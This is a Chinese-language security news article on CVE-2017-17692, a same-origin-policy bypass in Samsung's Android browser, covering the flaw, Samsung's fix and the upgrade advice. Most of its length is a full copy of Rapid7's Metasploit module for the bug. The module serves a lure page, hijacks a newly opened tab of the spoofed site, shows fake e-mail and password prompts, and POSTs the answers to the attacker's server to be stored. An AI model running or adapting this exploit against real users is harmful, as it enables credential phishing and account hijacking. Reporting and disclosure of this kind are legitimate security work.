三星手机预装的浏览器应用发现重要漏洞，如果用户访问攻击者控制的站点，攻击者就可以从浏览器中的不同标签页窃取用户数据。该漏洞影响数亿三星安卓设备。
简介
该漏洞CVE号为CVE-2017-17692，实际上是一种存在于主流的三星手机浏览器中的同源策略（Same Origin Policy，SOP）绕过漏洞，影响5.4.02.3以前版本。
同源策略
同源策略是浏览器的一种安全特征，所有支持JavaScript 的浏览器都会使用这个策略。同源是指，域名，协议，端口相同。当一个浏览器的两个tab页中分别打开来 A和B的页面,当浏览器的A tab页执行一个脚本的时候会检查这个脚本是属于哪个页面的,只有和A同源的脚本才会被执行。如果非同源，那么在请求数据时，浏览器会在控制台中报一个异常，提示拒绝访问。换句话说，同源策略确保了来自源A的JS代码不能访问源B的网页的特征。
漏洞
Dhiraj Mishra发现三星网络浏览器中存在同源策略绕过漏洞，允许恶意网站窃取不同标签页中的用户密码、cookie等数据。Rapid7的研究人说说，当三星网络浏览器通过JS操作打开一个给定的域的新标签页，JS代码可以任意改写页面的内容。
也就是说JS绕过了同源策略，将一个站点的JS代码在另一个站点执行。在这个过程中，攻击者首先要在任意的域内插入普通的JS代码，让用户能够访问攻击者控制的web页面。攻击的结果是，攻击者可以复制你的session cookie、劫持session，读写web邮件等等。
官方回应
Mishra将漏洞报告给三星后，三星回应称该应用已经内置于即将发布的Galaxy Note 8中，他们会在10月的时候通过应用商店对应用进行更新。同时，Rapid 7团队发布了一个利用该漏洞的Metasploit Framework和一个视频来严实该攻击。因为Metasploit利用框架已经发布了，所以不懂技术的人也可以利用该漏洞，解决办法就是将应用升级到5.4.02.3以上版本。
附1、Metasploit利用代码(https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/gather/samsung_browser_sop_bypass.rb)
1 ##
2 # This module requires Metasploit: https://metasploit.com/download
3 # Current source: https://github.com/rapid7/metasploit-framework
4 ##
5
6 class MetasploitModule < Msf::Auxiliary
7 include Msf::Exploit::Remote::HttpServer
8
9 def initialize(info = {})
10 super(
11 update_info(
12 info,
13 'Name' => 'Samsung Internet Browser SOP Bypass',
14 'Description' => %q(
15 This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the
16 Samsung Internet Browser, a popular mobile browser shipping with Samsung Android devices.
17 By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather
18 credentials via a fake pop-up.
19 ),
20 'License' => MSF_LICENSE,
21 'Author' => [
22 'Dhiraj Mishra', # Original discovery, disclosure
23 'Tod Beardsley', # Metasploit module
24 'Jeffrey Martin' # Metasploit module
25 ],
26 'References' => [
27 [ 'CVE', '2017-17692' ],
28 ['URL', 'http://fr.0day.today/exploit/description/28434']
29 ],
30 'DisclosureDate' => 'Nov 08 2017',
31 'Actions' => [[ 'WebServer' ]],
32 'PassiveActions' => [ 'WebServer' ],
33 'DefaultAction' => 'WebServer'
34 )
35 )
36
37 register_options([
38 OptString.new('TARGET_URL', [
39 true,
40 'The URL to spoof origin from.',
41 'http://example.com/'
42 ]),
43 OptString.new('CUSTOM_HTML', [
44 true,
45 'HTML to display to the victim.',
46 'This page has moved. Please <a href="#">click here</a> to redirect your browser.'
47 ])
48 ])
49
50 register_advanced_options([
51 OptString.new('CUSTOM_JS', [
52 false,
53 "Custom Javascript to inject as the go() function. Use the variable 'x' to refer to the new tab.",
54 ''
55 ])
56 ])
57
58 end
59
60 def run
61 exploit # start http server
62 end
63
64 def evil_javascript
65 return datastore['CUSTOM_JS'] unless datastore['CUSTOM_JS'].blank?
66 js = <<-EOS
67 setTimeout(function(){
68 x.document.body.innerHTML='<h1>404 Error</h1>'+
69 '<p>Oops, something went wrong.</p>';
70 a=x.prompt('E-mail','');
71 b=x.prompt('Password','');
72 var cred=JSON.stringify({'user':a,'pass':b});
73 var xmlhttp = new XMLHttpRequest;
74 xmlhttp.open('POST', window.location, true);
75 xmlhttp.send(cred);
76 }, 3000);
77 EOS
78 js
79 end
80
81 def setup
82 @html = <<-EOS
83 <html>
84 <meta charset="UTF-8">
85 <head>
86 <script>
87 function go(){
88 try {
89 var x = window.open('#{datastore['TARGET_URL']}');
90 #{evil_javascript}
91 } catch(e) { }
92 }
93 </script>
94 </head>
95 <body onclick="go()">
96 #{datastore['CUSTOM_HTML']}
97 </body></html>
98 EOS
99 end
100
101 def store_cred(username,password)
102 credential_data = {
103 origin_type: :import,
104 module_fullname: self.fullname,
105 filename: 'msfconsole',
106 workspace_id: myworkspace_id,
107 service_name: 'web_service',
108 realm_value: datastore['TARGET_URL'],
109 realm_key: Metasploit::Model::Realm::Key::WILDCARD,
110 private_type: :password,
111 private_data: password,
112 username: username
113 }
114 create_credential(credential_data)
115 end
116
117 # This assumes the default schema is being used.
118 # If it's not that, it'll just display the collected POST data.
119 def collect_data(request)
120 cred = JSON.parse(request.body)
121 u = cred['user']
122 p = cred['pass']
123 if u.blank? || p.blank?
124 print_good("#{cli.peerhost}: POST data received from #{datastore['TARGET_URL']}: #{request.body}")
125 else
126 print_good("#{cli.peerhost}: Collected credential for '#{datastore['TARGET_URL']}' #{u}:#{p}")
127 store_cred(u,p)
128 end
129 end
130
131 def on_request_uri(cli, request)
132 case request.method.downcase
133 when 'get' # initial connection
134 print_status("#{cli.peerhost}: Request '#{request.method} #{request.uri}'")
135 print_status("#{cli.peerhost}: Attempting to spoof origin for #{datastore['TARGET_URL']}")
136 send_response(cli, @html)
137 when 'post' # must have fallen for it
138 collect_data(request)
139 else
140 print_error("#{cli.peerhost}: Unhandled method: #{request.method}")
141 end
142 end
143
144 end - 4HOU.COM 
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